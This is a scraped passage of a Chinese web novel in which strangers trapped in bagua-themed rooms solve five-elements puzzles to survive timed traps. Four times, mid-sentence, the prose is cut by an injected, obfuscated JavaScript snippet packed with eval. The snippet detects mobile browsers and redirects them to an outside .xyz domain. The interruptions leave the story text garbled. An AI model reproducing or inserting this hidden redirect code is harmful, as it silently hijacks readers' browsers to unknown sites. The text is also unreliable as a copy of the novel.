“我倒觉得挺大的。”小篮子展开了他的推理，“不管把我们弄到这里来的人是谁，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720779|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说她既然设计了我们这八个房间面对面，还有可以撬下来的小窗子以及可以由小孩子活动的通道，那就说明怎么这几个房间之间是可以互相帮助的。如果这个窗子不隔音的话，我们可以直接靠吼的问其他房间里有思路的人，如果房间隔音的话，我们也可以找到螺丝刀之后再进行这个流程……” 文艺风女人不客气地打断了她，“这些东西我也有想过，但是行不通的。” “怎么会呢？我们先想办法把这个小窗子卸下来。我看过了，这个小窗户是用螺丝刀钉上去的，那个蓝色的房间的窗子好像就是用螺丝刀拆下来的，说不定我们这里也有螺丝刀，只是我们还没有发现而已。阿莱姐，你也来帮我找找。” 小篮子好不容易想到一条路，当然是不撞南墙就不想回头，就算是撞了南墙，也要把南墙撞破了，看看里面是什么东西，再考虑要不要回头。 可是文艺风女人现在情绪低落，没有心情陪他撞墙，一语中的打破了他的幻想。 “一看你就没有注意窗外。刚刚深棕色房间里面的女人又是哭又是喊地跟趴在空中的小姑娘说话，我们这边一个字都没有听见，可见这个玻璃的隔音效果相当好。” “那还可以……” “卸了也没用。就算我听不见她们说了什么，我也能看出那个房间里面的姐姐很重视小朋友，而小朋友也很听姐姐的话。但是小妹妹进去蓝色房间之后，那个姐姐也喊叫了好几声，可是小妹妹一点反应都没有，这就说明房间之间没有办法直接交流。” “这些东西你是什么时候看到的啊，我怎么就什么都没有注意到呢？” “你一直忙着在房间里翻找有没有机关，当然看不见了。” “可是你也一直在跟我一起找呀。” “我有一心二用的习惯。” 看着小篮子还在四处找寻螺丝刀，文艺风女人继续说：“其实看看这个诡异的建筑也就能明白了。如果房间之间可以直接交流，那就根本没有必要设计中间的透明空间让小孩子来回穿梭，直接把窗子一卸，大家一起趴在窗口隔空对喊就好了。还有那块白板，大概率也是用来混淆视听的，因为那个什么［叶水0013］最开始也根本就没有说过要写出一个答案，只是说了屠杀的时限是十分钟一次，还有最终目的是逃离而已。” “可是这样的话，我们不就走投无路了吗？” “……是啊。”文艺风女人生无可恋地站起来，看到［坎］字房间的水位已经下降了，又拉着小篮子回到安全的圆圈里，“我们现在唯一能做的，就是拖延时间了。还是要尽量安慰自己，满怀希望地等待其他房间里的人逃脱，说不定那个时候，我们还可以蹭到一个快速通道。” 没错，他们现在就像被困于火灾现场的群众，等待着消防队员的营救。 可现实往往要残酷的多，空中、密室、八卦、屠杀……能救他们于水火的，仅有他们自己。 39.万家山 —————— 狭窄的空间当中，林之右手抓住上方的铁质拉杆，嫌弃地皱起了眉头。 “我说月小哥，你不觉得我们之间的距离有那么一点点暧昧了吗？”林之把头偏向一边，可余光还是能看到月栀酒那张距离她极近的脸，“你能不能离我远一点？” 在［坎］字房间出水口开始排水的瞬间，圆圈上方的拉杆开始缓慢向上移动，带动着二人缓缓升起，直到月栀酒的双脚刚好高于原本天花板的水平线几公分才停住。 因为天花板内的空间与脚底圆圈的形状相对应，两个拉杆的距离也挨得很近，所以两人的距离肯定也远不了。还好他们的体型都还算健康，要是两个体型肥胖的人同时处于这个空间里，绝对是免不了是要紧紧贴在一起的。 月栀酒同样是单手抓住拉杆，左手敲了敲紧挨着自己的圆柱形墙壁，同样很是无奈，“姑娘您可真幽默啊。或许您可以直接跟把我们弄到这里的人商量一下，让咱们俩都单独一间，这样不就你好我好大家好了吗？” “开玩笑，你以为我不想啊？” 林之低头看了眼仅仅只涨到房间一半高度的水面，已经开始手酸了。 要在这里吊十分钟才能下去……别说林之了，就连月栀酒也不知道自己这个不经常锻炼的大少爷能不能坚持住不掉下去。 “喂，”可能是为了转移注意力，林之另外一只手也抓上了拉杆，还是一脸嫌弃地跟月栀酒说话，“我现在算是知道了。” “知道什么？”月栀酒也把另外一只手拉上来，平衡了一下双手的受力面积。 “之前我不知道为什么我们要选择拉着上方的拉杆，而不是站在圆圈里进入下方的暗格，一直都在犹豫，不知道是按照‘先天八卦为上，后天八卦为下’的顺序，还是按照卦象自身的阴阳选择上下……” 林之很明显已经开始吃不消了，本来还有一些话想说，但是这该死的拉杆已经快耗尽了她全部的力气。 月栀酒看到脚底的水面已经没有继续上涨的趋势，接过了林之没说完的话，“我也是几分钟前才想明白的……哎嘛，这种时候讲话还怪要命的……我们向上是因为［坤］只能向下。每个房间上方的吊环只有两个，但［坤］字房间却有四个人，其中还包括两个小孩子。要是按照先后天八卦选择上下的话，当轮到先天八卦触发机关的时候，那两个小孩子不可能活下来。一旦小孩子活不下来，先后天八卦无法变化，规则本身与通关方式也就成了悖论……而且先后天八卦的考点已经考过一次了，这次只能考卦象阴阳。要是出题人是那种会设计重复考点的家伙，她也搞不出这么难的一套试卷……” “哈……死亡考试？都到这种时候了，你还有心情用这种劣质比喻开玩笑……要是一会儿我没忍住笑得掉下去了，你全责。” “没事儿，反正你掉下去了也死不了，底下全是水，就算不会游泳也能蹬底漂上来喘几口气。” 林之从来不做这一类型的锻炼，手上没有一点老茧，所以她的手掌理所应当地被磨破了，在虎口和小鱼际的位置都已经渗出了丝丝血迹，要想继续抓住拉杆也变得更加困难。 “吊着说话不手疼，你怎么不先下去游两圈？” 为显礼貌，月栀酒和林之一直都不约而同地错开了视线，可现在月栀酒却收回视线，真诚地看向林之的眼睛。而林之也很快注意到了这道视线，以迅雷不及掩耳之势，用脚尖踢了他小腿骨一脚。 “嗷——”月栀酒反射性弯了一下膝盖，手上的力道也卸了两分，摇摇欲坠地说：“姑娘，你有暴力倾向啊？” 林之像是才反应过来自己做了什么，不好意思地又偏开了视线，“谁叫你突然盯着我看的？很吓人的你知不知道？我一个女生出门在外很危险的，自我保护一下嘛，你习惯就好。” “明白了，我下回尽量离您远点儿……必要情况也可以先死一下，以免被你踹死。” “别碰瓷儿啊，更别开什么把你的命挂我身上的劣质玩笑……否则，万一我比你先死，我一定拖着残缺不全的身体跑到你面前，把你一起给恶心死。” 月栀酒的手掌也开始渗出血丝，一抬头竟看见林之的左手小鱼际处已经有一滴血珠顺着手腕滑落下来，顿时失去了开玩笑的心情。 “我是认真的，下面没有危险，我们可以先下去。” 林之已经完全没有力气说话了，她手上的血珠一颗一颗流淌下来，从举起的手臂滑落到脸颊上，再掺杂着她脸上的汗水一起滴落下去，使已然平静的水面荡起了一边渺小的涟漪。 见林之没有放弃的意思，月栀酒也不好先打退堂鼓，只得继续道：“能让小孩活动的管道、先后天八卦的转化、像潮汐现象一样已经涨满和即将退去地水位，以及按照八卦屠杀的顺序……这些都说明，只要让八卦之气不受障碍地流通、让太极开始旋转，就是这些机关房间的破解方法。所以并不是武力值不够就得死，每个向上的房间都有自己存活的生路，只要跳下去站在原地就可以……” “白……痴……”林之从牙缝里挤出这两个字。她已经完全没有力气了，只能用尽量简洁的文字反驳月栀酒的说法，“你动脑子想想好不好……你说的生路只能让我们暂时活下来，要么死亡，要么进入上下方的空间才有可能不干扰气流……可、可是，就我们现在的状况，你觉得我们还能再来一次吗？还是说，你打算先大公无私地先牺牲一下，让另外两个地下暗格的房间逃生？” 月栀酒也有考虑过这层。 正常情况下，在考验智力的测试里，出题人总会设计出轻松通过蛮力部分的捷径。比如这次八卦属性为阳的房间，不管是［乾］字房间的偃月刀，还是［震］字房间的木剑或［艮］字房间的土球，只要在倒计时结束的瞬间，房间内的两个人一起触摸拉杆，那么保护机制就会开启，哪怕没有被拉杆吊上去，只要站在相对应的圆圈内也就不会受到伤害。 有攻击性机关的房间尚且如此，小窗户被卸下来，有部分水量被透明管道分担的［坎］字房间就更不用说了。哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751698|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们都不会游泳，只要有呼吸的地方，也很难在十分钟之内被淹死。 可林之说的也没错，虽然这个所谓的“生路”暂时保下了命，但是他们在这个封闭的小房间内只有不停消耗体力的份儿，根本无法进行第二次尝试。 一定还有什么办法。 月栀酒站在设计者的角度开始思考起来…… 要是有人连如此变化多端的机关都可以解开，却败在一个简单粗暴的拉杆上，那这个机关也就失去了意义，还不如一开始就比谁的力气大呢。 蕴含着八卦元素的房间、作为干扰线索的小白板、连通八个房间的透明管道……是啊，谁能想到能切切实实触碰到的实物居然是用肉眼完全无法看到的呢？ 等等！ 房间中的干扰线索是小白板，那么这个狭窄空间里的干扰线索是什么？ 月栀酒抬头看了看支撑着他们全部身体重量的拉杆…… 不会吧？ 如果拉杆是干扰线索，那他们就只能放手了。 可一旦放手，他们不就又回到了最初设想的无法翻盘的窘境了吗？ 月栀酒继续回忆从进入这个小房间到现在发生的事情，试图从这些零零散散的事件当中筛选出有用的线索。 八个房间中央的［中宫］、与之相连的透明管道……小女孩第一次跳入［中宫］的时候，中宫存在实体。小男孩第二次跳入［中宫］的时候，［中宫］的实体消失，只留下透明管道…… 他又低头看向自己脚底水面的方向。 要说起站在原地就不会受伤的“保护机制”，［乾］、［震］、［艮］三个房间都属于发射性实体攻击，还比较容易解释，但是［坎］字房间水流汹涌，普通人根本就不可能站在原地不被冲走。就算是等水面平稳之后跳入水中，抽水的时候，凭人体自身微薄的力量也不根本可能抵挡得住水流，保证自己位于圆圈中央。 难道五星属性属水的［坎］字房间就真的连一丁点儿的出路都没有了吗？ “不行了……早知道就不讲这么多话了……” 林之连头发丝都在用力，但手指还是控制不住地开始松懈。 临了，她居然用留遗言的语气说了句：“看来真是活不下去了……要和衣品这么差的男人一起去死，想想还真是唏嘘……” 衣品？ 这都什么时候了，林之居然还在嫌他的衣服不好看？ 月栀酒下意识用余光扫了眼自己的衣服——这是巫漓儿在「天医山庄」帮他买的白棕色泰迪熊图案的毛绒睡衣，就连他自己的运动鞋也是白棕色的，尽管搭配有些许奇怪，但是配色很和谐，并不能算是难看。反观林之穿着粉色系的防晒衣和黑色运动裤，可那粉色防晒衣的帽子却是浅绿色的，这样的搭配才叫奇怪。 “欸？”当月栀酒意识到自己在想什么之后，瞬间就迷茫了。 他刚刚还在想林之在这种关键时刻吐槽他衣品的行为很奇怪，结果自己转眼就思考上了相同的问题，这是怎么回事？ 40.万家山 颜色、八卦、［中宫］…… 月栀酒想到了！ 他们最初就是根据房间外围颜色对应的五行得出八卦房间的结论，所以颜色对应五行在这场“测试”中是得到过认可的。 如果月栀酒的思路没有错的话，针对“聪明人可以走捷径”这一点，他们的脚底（原本天花板的地方）也有一块透明的平台可以让他们在上面休息，但是因为之前林之的血径直滴进了水面，所以才让他打消了这一念头。 可仔细想想，这个念头也算是合理。 他们刚进入房间时，房间的排列格局为先天八卦，自然不存在［中宫］。而当五行俱全的人体触发之后，先天八卦转变为后天八卦，则［中宫］出现。所以他们不妨采用上方拉杆只是“干扰线索”的解题逻辑，得出出题人真正想让人们通过的“捷径路线”是下方的透明平台。 而且代入五行为阴，只能进入地下暗格的房间来看，如果没有隔断，房间内的机关很有可能误伤到他们，所以“有隔断用来保护安全”的设想也可以成立。 然而，已经出现过一次的以人体五行俱全来触发透明平台的想法现在已经不可行了。且不说这样的话激发透明平台的设定就成了摆设，凡是个人就可以触发，单说出题人一开始的暗示就已经足够明显了——只有小孩子可以通过「中宫」，那么也就是说，被困在每个房间里的大人只代表着该房间的五行元素。 综上所述，颜色可以对应到相应五行，只要五行俱全，便可以触发下方的透明平台。 月栀酒身上的棕色和白色分别代表着［土］和［金］，林之身上的粉色、绿色和黑色分别代表着［火］、［木］和［水］。 至此，五行俱全。 “啊——” 就在月栀酒想通的那一瞬间，林之彻底抓不住拉杆，整个人迅速下落。 月栀酒来不及多想，在第一时间松开左手环住了林之的腰。但由于重力加速度的冲击，自己本就不堪重负的右手也只能堪堪承受几秒。 瞬息之间，二人一同迎来了失重的奇感。 ………… “哎哟！” 林之的脚离透明平台比较高，掉下来的时候不小心扭了脚。但她忙不急蹲下查看自己的脚踝，而是用很大的力气推开了月栀酒，自己也因为反作用力的关系撞到了圆柱形的墙壁上。 月栀酒后背撞上墙壁，低头看见自己胸前那两块血手印，又一次理解不了眼前人的行为了。 他甩掉了手上渗出的血液，干脆就这样靠在墙壁上问：“我说药材姑娘，不是你提醒我的吗？怎么这么大反应？” “什么啊？听不懂。”林之喘着气，指尖的鲜血一滴滴掉落在脚下的透明平台上，“我要是早知道有这种东西，早就放手了。” 月栀酒懒得和她辩论，但他心里也有了数，眼前的这个女人很有可能知道些什么。 一开始的女声曾提到过什么“万家山”、什么“神女”的，可林之居然什么都没有问，直接在房间里找起了螺丝刀。她后续的各式反应也都没有展现出半点惊恐，行为举止也半点都不符合人类遇到危险时的潜意识反应，这无疑说明了她早就对这些东西有过了解，之前的一切行为都是伪装。 “想什么呢？”林之问他。 月栀酒顺势回答道：“在想你那句很有趣的遗言。” “是吗？我也觉得我很有趣。”林之当然晓得月栀酒是在怀疑她，所以不动声色地把这句话给绕开了，“不过你也不赖嘛，被吊起来了还有功夫开玩笑，比我还更胜一筹哦。” 林之从口袋里掏出了那块怀表，调整视线看了看。 “我们啰里吧嗦这么一大堆，居然才过了四分钟。时间还真是像弹簧一样，可长可短、能伸能缩……” “不是姑娘，‘能伸能缩’这个词儿是能用在这儿的吗？” “那当然啦。你看啊，咱们现在根据动植物的生长推测出时间是只能向前走的，但是如果某一天时间向后退了，只是动植物还在向前走，那时间可不就能伸能缩了吗？” “Emmm，但是……那不能吧？” “你都没见过，凭什么说不能啊？” “就是因为没见过，所以我才说不能的呀。” “你这话说的可真够奇怪的。”林之再次用脚尖点了点脚底的透明平台，“喏，这个无色无味、实体还不稳定出现的东西你也没见过，可你为什么能踩在上面呢？” “……” 对呀，为什么？ 月栀酒怎么知道？！ 林之指尖转着怀表链子，看着月栀酒无言以对的样子没忍住笑了，“所以说啊，没见过又不能代表不存在，你们这种只能靠眼睛活着的人真的是够片面的……” 月栀酒每次看到她拿出这块怀表就觉得哪里不太对，但是又说不上来哪里不对，直到现在，他终于明白了。 于是他赶紧打断了林之，问道：“你来之前在做什么？” “啊？”林之没有反应过来。 月栀酒又问了一遍，“你来这里之前在做什么？” 林之奇怪地看着他说：“睡觉呗。” “你穿着运动服睡觉？” “昂，这有什么好奇怪的？我运动累了，躺在休息室里面睡一会儿难道还需要换衣服吗？” 月栀酒又指了指她手上的怀表，“现在已经没有什么人还在用怀表了吧？” “没有吗？”林之的视线往左偏移了一瞬，又被她很快拉回来了，“可我就是喜欢啊，你不觉得用怀表这种东西显得很有格调吗？” 月栀酒不说话了，抬起手盯着自己的手掌看。 那些伤口的边缘有灼烧的痕迹，神经系统也传来了了一阵不同于皮外伤的疼痛……这似乎，是手掌被腐蚀的感觉。 林之脚尖点在透明平台上活动了几圈脚踝，也看向自己的双手，很遗憾般说道：“就六分钟而已，怎么出了这么多血啊……难道是我手部护理做得太到位的缘故吗？咦，小哥你手上好像也有不少血欸，你也做手部护理了吗？” “……” 思维跳跃如月栀酒，也总是有点跟不上林之的思路。 要说单杆悬吊四分钟，月栀酒没有尝试过，自然也就不知道手部会受伤到什么程度。可他曾经在无聊的时候从书上看到过，目前世界上单杠悬吊的最长时间是19分30秒，所以正常人类悬吊四分钟应该不会受如此严重的伤才对。 月栀酒把手掌凑到鼻子跟前闻了闻，有一股淡淡的刺鼻味道。 是硫酸吗？ 看来出题人是真的很不希望他们用蛮力过关，还特意在拉杆上涂了腐蚀类药品逼迫他们松手。 突然，下方传来水流声。 ——是房间里的水被抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764268|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走的声音。 林之打开怀表一看，不可思议地说：“怎么就只剩不到两分钟了？这时间是趁我不注意的时候偷偷加快了吗？” “你确定你的表没坏吗？”月栀酒也觉得不可思议，他从未对时间如此没有概念。 林之不满地反问他：“之前那几个房间的十分钟我有说错吗？” “有道理……” 月栀酒看着下方房间里的水被极速地抽走，在还剩几十秒结束抽水的时候，双脚蹬地一跳，再次拉住了抓住了拉杆。 “药材姑娘，你快点上来！” “为什么？”林之仰着头问。 月栀酒换回了无所谓的语气，开玩笑般说道：“你不是脚扭到了嘛，搭乘电梯总好过硬着陆不是？” 林之看了眼自己脚底距离房间地面至少两米的距离，明白了月栀酒的意思。 ——房间机关结束，房间上方的拉杆肯定会回到原本的位置，而届时，自己脚底的透明平台则会消失。虽然两米的高度摔不死人，但自己已经崴了脚，要是落地姿势掌握的不够好，铁定会摔得不轻。 想到这里，林之也跳起来抓住了上方的拉杆，和月栀酒一起缓缓降落到地面。 —————— ［艮］字房间。 这里是一个例外都是棕色的房间，房间内壁的前后左右四面墙上都镶嵌满了成年人脑袋大小的棕色球体。 自［坎］字房间之后，转眼间［坤］、［震］、［巽］、［中宫］、［乾］、［兑］几个房间也陆陆续续遭了殃。 眼见除了他们之外的所有房间都经历过屠杀，一个带着黑色方框眼镜的锅盖头少年在房间里手足无措，踱来踱去地念叨着：“完了完了完了，我们死定了……哎呀！也不知道什么时候轮到我们的房间被血洗呀，怎么办怎么办……” 另外一个带着佛祖玉石吊坠的少年站在原地，视线左右左右地跟着锅盖头少年转，摸着自己的吊坠，看起来没有一点着急的神情。 “你能不能别走了，看的我眼睛都花了。” 他这么一说，锅盖头少年反倒更着急了，“哎呀呀呀，没办法，我害怕嘛！” 带着佛祖玉石吊坠的少年选择眼不见为净，直接转过了身，欣赏光秃秃的墙壁。 锅盖头少年的脸贴在小窗户的玻璃上，整个人都趴在墙上，看着小刀不断飞舞，噼里啪啦敲击在小窗户上的［兑］字房间。 “完蛋了！我是谁？我在哪？我在干什么？我怎么会来这种地方啊？大哥大姐、姑姑、婆婆、舅舅、婶婶……总之有没有人来救救我啊！” 玉石吊坠少年可能是觉得光秃秃的墙壁没有什么观赏价值，转回来小声说了句：“……你好吵。” “啊啊啊！”锅盖头少年急得快哭了，跑过去抓着玉石吊坠少年的肩膀疯狂摇晃，“你要是现在告诉我逃出去的办法我就不说话了，你知道吗？求求你了，告诉我吧，我还不想死啊……” 玉石吊坠少年的脑浆都要被摇匀了，也只是淡淡地回了四个字，“我不知道。” “啊——”锅盖头少年发出了尖锐的爆鸣声，像变异一样到处蠕动，“那——怎——么——办？我真的不想死啊，我只是一个不起眼的小小炮灰，我啥也不是的啊，为什么要让我经历这种塌天大祸？救命啊——啊啊啊啊，我完了！死定了！救命，救救我，啊啊啊啊——” 41.万家山 “不要着急嘛。” 玉石吊坠少年看起来是傻乎乎的，天生婴儿肥的脸也呆呆的。可能就是因为这张攻击性为0的脸，再加上他貌似真傻的语调，让锅盖头少年感受到了人生的无望。 “你让我不要着急？！我倒是希望你能着急一点！！！” “我们坐下聊聊天吧。” “Are you crazy？！” 锅盖头少年差点喷出一口老血。 反观玉石吊坠少年就很平淡，自顾自地开始了聊天。 “你很害怕吗？” “废话，我是【胆小鬼】啊！我不害怕谁害怕？！” “哦……你叫什么名字？” “【胆小鬼】……啊不是，苗儿苗。” 也不知道玉石吊坠少年是听力不好还是又发呆去了，反应了半天也没反应过来，带着疑问重复道：“喵……阿喵？” “喵你个大头鬼啊！我叫苗儿苗！” 锅盖头少年感觉在自己的房间机关启动之前，他就可以被这个从里到外散发着呆瓜气息的笨蛋给气死。 “哦，叫大头喵啊。你好大头喵，我叫白开心。” “啊！我的苍天啊——”苗儿苗躺在地上，踩着墙壁一脚把自己蹬老远，生无可恋地扑腾了起来，“我问你了吗？你开不开心关我屁事，我只想出去啊！” 白开心很认真地听完了苗儿苗的话，然后给出了回答：“哦。” 苗儿苗感觉自己被冷暴力了，但是拿不出证据。白开心这的每一个“哦”都让他感觉像是中了一颗飞过来的子弹，直到这最后一声“哦”落地，苗儿苗深深地倒吸了一口凉气，然后躺在地上不动了。 白开心走过去戳了戳苗儿苗，“你死了吗，大头喵？” 苗儿苗转过他那张泪眼模糊的脸，用人生不值得留恋的语气咬牙切齿地对白开心说：“跟你一队真他妈是我的福气！” 这明明是一句讽刺挖苦的话，可白开心却好像真的很开心，笑眯眯地说：“真的吗？那太好了，跟你组队也是我的福气。” 苗儿苗再次深吸一口凉气，翻着白眼仰了回去。 “你怎么又倒了？大头喵……大头喵？” “停！”苗儿苗实在是听不下去了，伸手去捂住了白开心的嘴，“别叫了，咱换个称呼行吗？” 白开心扒开苗儿苗的手，“不用换了，叫我白开心就好。” “我是说我！我叫苗儿苗，不叫什么鬼的大头喵！” “对呀，就是大头喵呀。” “我是说……哎算了。” 苗儿苗发现白开心的听力好像确实有点问题。他确实是在认真听自己说话，但也总是牛头不对马嘴，东扯西拉的，继续跟他辩论下去也不会有结果。 “大头喵，我跟你说……”白开心坐在他身边，笑嘻嘻地和他讲话。 苗儿苗把头扭开，认命地说：“随便吧。” “虽然我不知道怎么逃出去，但是我运气一直很好，要出去不成问题的。” “你说……”苗儿苗像是想到了什么，猛然坐起来，吓了白开心一跳，“运气？” 白开心自豪地笑着说：“对呀，因为我是【幸运儿】嘛，大头喵你跟我在一起也会变成【幸运儿】的哦。” 后天八卦顺序为7的［兑］字房间也已经开始了第二轮屠杀，几分钟之后，就该轮到他们这间排序为第8的［艮］字房间了。 “别闹了。”苗儿苗垂头丧气地坐在地上，“在这种离谱地方，你那个普通的运气八成也已经被信号屏蔽掉了……呜呜，还是得死……” “不会的，我的运气一直都在，它跟我很有默契，不会在我需要的时候乱跑的。” “可是我没有运气啊，我怎么知道你那个运气对我友不友好……我经不起吓的呀，我是个【胆小鬼】，我不堪重任的啊，我什么都怕的啊！！！” 他们正说着，白开心突然就打了一个寒战。这个寒战之明显，连抓着他肩膀摇晃的苗儿苗都感受到了。 苗儿苗奇怪地拍了拍他，“你怎么了？我这个【胆小鬼】都还没抖呢，你倒是先抖起来了，不要吓我啊！我胆子很小的，你要是感受到了不祥的预感就先告诉我，让我有个心理准备啊！” 白开心被苗儿苗摇得七荤八素，他甩了甩发昏的脑袋，爬起来站在第一排第一个圆圈里感受了一下，不一会儿又站进第一排第二个圆圈里。 “喂，你到底怎么了？不要吓人啊！”苗儿苗也爬起来跑到他旁边上下来回感受着不知道什么东西，“要死要活你给个信啊！！！” “嘘。” “嘘啥？” 白开心把右手食指放在嘴唇前面，很认真地跟苗儿苗解释，“这个‘嘘’呢，就是让你不要说话的意思。” “我不是问你‘嘘’的意思，我是问你为啥要‘嘘’？！哎嘛，嘘不嘘的，说的我都尿急了，都怪你！” “你说你尿急？”白开心转身指向墙角，笑嘻嘻地说：“你可以在那里解决，我是不会介意的，毕竟人有三急嘛，我可以理解。” 白开心说完，就继续站进不同的圆圈里感受天地之灵气了。苗儿苗被气的锅盖头都炸了毛，但也拿这个离谱的【幸运儿】没有办法，只好翻了个白眼，跑到角落里尿尿去了。 直到试到第三排的第一个圆圈，白开心才得到了答案。 “大头喵你过来，站在这里。” “为什么？” 苗儿苗一边拉裤子拉链，一边从房间的另一个角落走过来。 “因为这里安全。” 白开心见他过来，边说边跳起来够天花板上的拉杆，但是因为他只有十一岁，身高和手劲都不够，够了很多次都掉下来了。 “为什么还要够上面这些拉杆？”苗儿苗满脸疑惑地站在圆圈里看白开心像个小弹簧一样跳上跳下，甚是不解。 “不知道。”白开心跳累了，站在地上喘着气说：“可能这样能出去吧，反正我运气很好，按照直觉来做就没有问题了。” 苗儿苗好歹也有十七岁，尽管个子不高，但也能够到这些拉杆了。他秉持着“不理解，但尊重”的处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772875|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事风格，把白开心抱起来够到了拉杆，然后自己也跳上去抓住圆圈上方对应的另一个拉杆。 “然后呢？”苗儿苗咬牙切齿地问。 白开心同样是竭尽全力地回：“等一……下。” 两个少年明显都有一点吃力，但好在白开心的运气真的代替思维赢下了这一局。 后天八卦为［坎］位的拉杆被触发，拉着两个少年缓慢升高。 在此期间，镶嵌在墙壁上的棕色球体开始一个接一个地发射出来，房间里顿时乱成一片，可却没有一颗铁球砸到他们身上。 “千万不能松手啊！”白开心喊道。 尽管苗儿苗知道问了也是白问，但他为了缓解自己的恐惧情绪，还是牢牢抓住头顶的拉杆问道：“为什么？” 白开心照常回答：“不知道——” 苗儿苗也照常无语，“……好吧。” 直至拉杆不再升高，二人完全被拉进上方的圆柱形空间。 “喂，傻开心，我们什么时候可以松手啊？”苗儿苗感受到手臂的手掌都很疼，但是下方土棕色球体撞击墙壁的声音还是很剧烈。 他的话还没有说完，白开心就已经先吃不消，有了往下滑的趋势。 就在白开心即将掉落的一瞬间，他左手往前一勾，双脚迅速盘上，右手再松开，整个人就像一只小猴子一样挂在了苗儿苗的身上。 “啊啊啊！！！你要死就自己去死，干嘛挂在我身上啊？！求求你了大哥，不要拉我下水啊！啊啊啊！！！” “可以松手了。” “啊？” 白开心语气平淡地又说了一遍：“可以松手了。” “我信你个鬼，你个坑货！”他们脚下球体撞击墙壁和地面的声音愈演愈烈，苗儿苗当然不可能相信白开心的松手下去找死，仍旧死死抓住天花板上的拉杆，“我说大哥，你就行行好，松个手吧！” “不是我松，是大头喵你松啦！” 白开心挂在苗儿苗身上，比吊在拉杆上好受力得多。他直接就一只手按着苗儿苗的脑门儿，一只手上去扒拉他吊在拉杆上的手。 “你要干什么？不要啊！！！” 尽管白开心的运气毫无逻辑，但是他穿的是白绿色条纹衬衫搭配黑色裤子，苗儿苗穿的则是棕色外套和大红色裤子，俩人手拉手就可以凑个五行俱全，达到了可以触发透明平台的条件。 苗儿苗的手指被白开心一根根掰开。 “傻开心，我恨你！我要是死了也怪你！” “不会的，如果不按照我的预感做事，那才会倒霉呢。” “啊——” 苗儿苗的所有手指都离开拉杆，就在他以为会被数不清的棕球掩埋的时候，他的双脚居然落到了一个离他极近的一个平台上。 “耶？”苗儿苗不可置信地瞪着脚底那看似空无一物的空间，挪动了几步也没有什么问题，于是像见鬼一样转向白开心，激动地简直想把他举起来转圈，“神了啊你小子！” 白开心只是“嘿嘿”笑了两声，没有多说什么。 42.万家山 ………… 九分钟之后，棕球撞击墙壁和地面的声音越来越小。 “好像要停了欸……声音越来越小了，是要停了吧？”苗儿苗趴在这个圆圈形的透明平台上望着下面说。 白开心也和他头对头地坐着，笑着点头道：“好像是呢。” “话说你那个运气还真是有点东西，它一直这么准的吗？会不会……啊！” 十分钟倒计时结束，天花板上的透明平台消失，苗儿苗和白开心直接就掉了下去。 好巧不巧的是，白开心下落时的站位比苗儿苗高，导致他落地的时候，整个人都压在了苗儿苗的身上。 “傻开心，为什么这次你的‘超能预感’没有给你发出警报啊？” 白开心端详了一圈自己，又端详了一圈自己身下的苗儿苗，认真思考了回答：“可能是因为我没有受伤吧。” “……所以你可不可以把你的屁股从我身上挪开啊！” “哦，好。”白开心直接爬了起来，又伸手过去把苗儿苗也给拉了起来。 —————— 自先天八卦转变为后天八卦，起始房间为［坎］宫的1，按照房间内人已死或进入暗格则房间气流通畅的前提条件来看，接下来的顺序便是这样的——［坤］2、［震］3、［巽］4、［中宫］5、［乾］6、［兑］7、［艮］8、［离］9。 到［离］字房间，才算完成一整局后天八卦气之寒暖的流通。 目前尚有存活人员的［坤］、［坎］、［巽］、［艮］四个房间再次传来了虚无缥缈却又极具魅惑力的女声—— 【恭喜各位通过了大祭司的考核。】 【即日起，你们便是万家山的一员了。】 女人的声音伴随着一阵白光笼罩下来。 再次睁眼之时，房间中存活的9个人一起站在了白光之中。而在他们面前的，还有一个穿着深蓝色旗袍，身材凹凸有致的女人，以及一扇凭空立于白光中的精致房门。 “万家山到底是个什么东西？”小篮子不满地问，“为什么要把我们弄来这里？” 旗袍女人不疾不徐地扫视了众人一圈，缓缓开口。 【万家山乃当世福地，得神女庇佑，不是什么人都可以随便染指的地方。】 